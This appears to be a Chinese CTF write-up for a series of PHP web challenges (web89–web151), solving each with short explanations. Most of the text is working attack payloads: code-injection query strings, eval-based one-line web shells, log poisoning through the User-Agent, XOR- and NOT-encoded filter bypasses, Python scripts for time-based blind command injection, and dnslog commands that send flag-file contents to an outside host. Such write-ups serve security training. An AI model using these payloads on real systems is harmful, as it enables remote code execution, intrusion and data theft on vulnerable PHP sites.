web89
intval()函数:
用于获取变量的整数值。
?num[]=
web90
?num=0x117c
?num=4476a
web91
preg_match('/^php$/im', $a)
php开头,php结尾,i大小写,m多行匹配
?cmd=%0aphp
web92
?num=0x117c
?num=010574
web93
?num=010574
web94
strpos()函数:
函数查找字符串在另一字符串中第一次出现的位置
?num=4476.0
web95
?num=+010574
?num= 010574
?num=%0a010574
web96
?u=/var/www/html/flag.php
?u=./flag.php
web97
对数组进行md5
a[]=1&b[]=2
web98
分析一下:
当$_GET存在时,它的值为$_POST
如果$_GET也就是$_POST['flag']=flag时
$_GET['flag']=$_COOKIE['flag']
下一行同理
当判断$_GET中HTTP_FLAG等于flag时,输出flag
思路1:
GET传入随便的值,此时GET就是POST,此时后面的两行失效,然后POST传入HTTP_FLAG=flag
思路2:
GET随便传入
POST传入flag=flag
cookie写入HTTP_FLAG=flag
web99
array_push()函数:
函数向数组尾部插入一个或多个元素。
然后访问1.php,post传参
1=system('ls');
1=system('tac flag36d.php');
web100
先来了解一下运算符的优先级
&& > || > = > and > or
所以这道题的
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
vo赋值为is_numeric($v1),后面的相当于无效
is_numeric()函数:
用于检测变量是否为数字或数字字符串。
?v1=1&v2=eval($_POST[1])?>&v3=;
post传参
1=system('ls');
1=show_source('ctfshow.php');
得到
$flag_is_7a19d27c0x2d7daf0x2d44cf0x2da2590x2de08a1fc9fe49
将其中的0x2d替换为-,即
7a19d27c-7daf-44cf-a259-e08a1fc9fe49
所有flag为ctfshow{7a19d27c-7daf-44cf-a259-e08a1fc9fe49}
web101
?v1=1&v2=echo new Reflectionclass&v3=;
替换0x2d为-,最后一位需要爆破,题目给的flag少一位
web102
substr()函数:
函数返回字符串的一部分。
GET:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
POST:v1=hex2bin
然后访问2.php
这里的hex2bin把十六进制值的字符串转换为 ASCII 字符。
web103
同上题
web104
GET:?v2=1
POST:v1=1
或者
GET:?v2[]=1
POST:v1[]=2
web105
考察变量覆盖
web106
sha1()函数:
函数计算字符串的 SHA-1 散列
GET:?v2[]=1
POST:v1[]=2
web107
parse_str()函数:
把查询字符串解析到变量中。
GET:?v3[]=1
POST:v1=
web108
strrev()函数:
返回反转后的字符串
0x36d = 877
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
?c=a%00778
web109
php有内置类
?v1=exception&v2=system('ls')
?v1=exception&v2=system('tac f*')
web110
FilesystemIterator 遍历文件类
getcwd 取得当前工作目录
组合在一起默认只显示第一个文件
?v1=FilesystemIterator&v2=getcwd
访问fl36dga.txt
web111
变量覆盖和超全局变量
?v1=ctfshow&v2=GLOBALS
web112
is_file判断给定文件名是否为一个正常的文件。
使用伪协议绕过
?file=php://filter/resource=flag.php
web113
?file=compress.zlib://flag.php
web114
?file=php://filter/resource=flag.php
web115
is_numeric — 检测变量是否为数字或数字字符串
trim — 去除字符串首尾处的空白字符(或者其他字符)
?num=%0c36
%0c 换页键
web123
PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格 + . [转换为_
但是有一个特性可以绕过,使变量名出现.之类的
特殊字符[, GET或POST方式传参时,变量名中的[也会被替换为_,但其后的字符就不会被替换了
如 CTF[SHOW.COM=>CTF_SHOW.COM
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo implode(get_defined_vars())
implode — 将一个一维数组的值转化为字符串
get_defined_vars — 返回由所有已定义变量所组成的数组
web125
GET:?1=flag.php
POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])
或者
CTF_SHOW=1&CTF[SHOW.COM=1&fun=extract($_POST)&fl0g=flag_give_me
extract — 从数组中将变量导入到当前的符号表,变量覆盖
web126
GET:?0=var_export($GLOBALS);
POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($_REQUEST[0])
web127
由于php的变量名不能带点和空格,所以他们会被转换成下划线,但是这里过滤了.,所以使用空格
?ctf show=ilove36d
web128
call_user_func:
把第一个参数作为回调函数调用
小知识点: _()是一个函数
_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll
get_defined_vars()返回由所有已定义变量所组成的数组
?f1=_&f2=get_defined_vars
web129
stripos — 查找字符串首次出现的位置
?f=../ctfshow/../../www/html/flag.php
默认目录:var/www/html/index.php
web130
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
第一个判断正则匹配,在ctfshow前面有东西才能匹配到
第二个判断是强等于,int和bool返回False
直接
f=ctfshow
web131
长度溢出
f=250000个ctfshow+1个36Dctfshow
(使用str_repeat)
web132
先访问robots.txt,发现admin目录,访问admin
过三个判断
对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y
?username=admin&password=a&code=admin
web133
这题长度限制是6,能执行命令的只有``,``相当于shell_exec(),是没有回显的
我们传递?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令
**那为什么会这样?**
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
这个函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
这里可能有点绕,慢慢理解
来自:https://blog.csdn.net/qq_46091464/article/details/109095382
使用dnslog
?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd "[a-z]"/"[0-9]"`.rfgt49.dnslog.cn -c 1
得到
flagctfshowa5bb7d46a16e494f8e08d7f3651d0e53
规律:8 4 4 4 12
flag:ctfshow{a5bb7d46-a16e-494f-8e08-d7f3651d0e53}
web134
考察: php变量覆盖 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。 所以
?_POST[key1]=36d&_POST[key2]=36d
web135
133plus
?F=`$F`; ping `nl flag.php|awk 'NR==15'|tr -cd "[a-z]"/"[0-9]"`.2dr1vp.dnslog.cn -c 1
得到:15flag1ctfshowf62d7d4b8e2
?F=`$F`; ping `nl flag.php|awk 'NR==16'|tr -cd "[a-z]"/"[0-9]"`.2dr1vp.dnslog.cn -c 1
得到:16flag244db0ae4cdf4ff96b96c3
整理:
ctfshow{f62d7d4b-8e24-4db0-ae4c-df4ff96b96c3}
web136
tee:读取标准输入的数据,并将其内容输出成文件。
?c=ls /|tee 1
访问1下载发现根目录下有flag
?c=cat /f149_15_h3r3|tee 2
访问下载得到flag
web137
call_user_func — 把第一个参数作为回调函数调用,支持数组
静态函数的调用不需要创建对象
ctfshow=ctfshow::getFlag
web138
strripos — 计算指定字符串在目标字符串中最后一次出现的位置(不区分大小写)
这里相当于过滤了:
ctfshow[]=ctfshow&ctfshow[]=getFlag
web139
知识点:命令盲注
if [ `ls / -1 | cut -c 1 | awk "NR==1"` == b ];then sleep 3;fi
ls / -1:一行一行的输出目录
cut -c 1 剪下来第一个字母
awk "NR==1":指定第一行
脚本:
import requests
url = "http://ed303475-9f57-4eb0-acdc-36dc217f4163.challenge.ctf.show/?c="
payload = "if [ `ls / -1 | cut -c {} | awk \"NR=={}\"` == \"{}\" ];then sleep 4;fi"
result = "++++++++++++++"
row = 6
length = 20
strings = "qwertyuiopasdfghjklzxcvbnm_-0123456789"
for r in range(1,row):
for c in range(1,length):
for s in strings:
target = url+payload.format(c,r,s)
#print(target)
try:
requests.get(target,timeout=3)
except:
result += s
print(result)
break
result += " "
得到:bin devx etc f149_15_h3r3 home
etc f149_15_h3r3中可能有flag
import requests
url = "http://6b2298ad-31ff-4378-a332-9ca05465b29f.challenge.ctf.show/?c="
payload = "if [ `cat /f149_15_h3r3 | cut -c {}` == \"{}\" ];then sleep 3;fi"
result = "++++++++++++++"
length = 48
strings = "qwertyuiopasdfghjklzxcvbnm_-0123456789"
for c in range(1,length):
for s in strings:
target = url+payload.format(c,s)
#print(target)
try:
requests.get(target,timeout=2.5)
except:
result += s
print(result)
break
result += " "
print(result)
运行得到flag
(提示:小心环境过期)
web140
弱类型比较
使intval($code)
的值为0即可
f1=system&f2=system
f1=getdate&f2=getdate
web141
前提:执行 1-('phpinfo')()-1; 也可以输出phpinfo
p:
1111 1010 %fa
1000 1010 %8a
0111 0000 %70
h:
1111 1010 %fa
1001 0010 %92
0100 1000 %68
p:
1111 1010 %fa
1000 1010 %8a
0111 0000 %70
i:
1111 1010 %fa
1001 0011 %93
0110 1001 %69
n:
1111 1010 %fa
1001 0100 %94
0110 1110 %6e
f:
1111 1010 %fa
1001 1100 %9c
0110 0110 %66
o:
1111 1010 %fa
1001 0101 %95
0110 1111 %6f
%fa%fa%fa%fa%fa%fa%fa^%8a%92%8a%93%94%9c%95
先试一下
?v1=1&v2=2&v3=-(%fa%fa%fa%fa%fa%fa%fa^%8a%92%8a%93%94%9c%95)()-
发现:
可以输出phpinfo
我们可以构造
1-('system')('ls')-1
使用和上面相同的方法,得到
1-(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa^%96%89)-1
所以传参
?v1=1&v2=1&v3=-(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa^%96%89)-
得到
下一步
1-('system')('tac *a*')-1
1-(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)-1
就可以拿到flag了
web142
考数学的题目……
?v1=0
web143
用141的方法,把 - 改为 * 即可,或者其他的符号
?v1=1&v2=1&v3=*(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)*
web144
调换一下位置即可
?v1=1&v3=-&v2=(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0)
web145
这道题把异化的符号过滤了 ^
可以考虑其他的位运算符
取反:
s:
1000 1100 %8c
0111 0011 %73
y:
1000 0110 %86
0111 1001 %79
t:
1000 1011 %8b
0111 0100 %74
e:
1001 1010 %9a
0110 0101 %65
m:
1001 0010 %92
0110 1101 %6d
l:
1001 0011 %93
0110 1100 %6c
a:
1001 1110 %9e
0110 0001 %61
c:
1001 1100 %9c
0110 0011 %63
空格:
1101 1111 %df
0010 0000 %2a
*:
1101 0101 %d5
0010 1010 %2a
(system)(tac *a*)
(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%d5%9e%d5)
配合三元运算符传参:
?v1=1&v2=1&v3=?(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%d5%9e%d5):
web146
在上一题的基础上过滤了冒号
使用或运算绕过
?v1=1&v2=1&v3=|(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%d5%9e%d5)|
web147
create_function()函数:创建一个以第一个参数为参数,第二个参数为函数体的函数
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
GET:?show=}system('tac flag.php');/*
POST:ctf=\create_function
web148
使用141的异或
?code=(%fa%fa%fa%fa%fa%fa^%89%83%89%8e%9f%97)(%fa%fa%fa%fa%fa%fa%fa^%8e%9b%99%da%d0%9b%d0);
web149
传一句话木马即可
GET:?ctf=index.php
POST:show=<?php eval($_POST[1]);?>
1=system('tac /ctfshow_fl0g_here.txt');
web150
UA写入一句话木马
<?php eval($_POST[1]);?>
写入之后
GET:?isVIP=true
POST:ctf=/var/log/nginx/access.log&1=system("tac *a*");
web151
?..CTFSHOW..=phpinfo
(不太理解)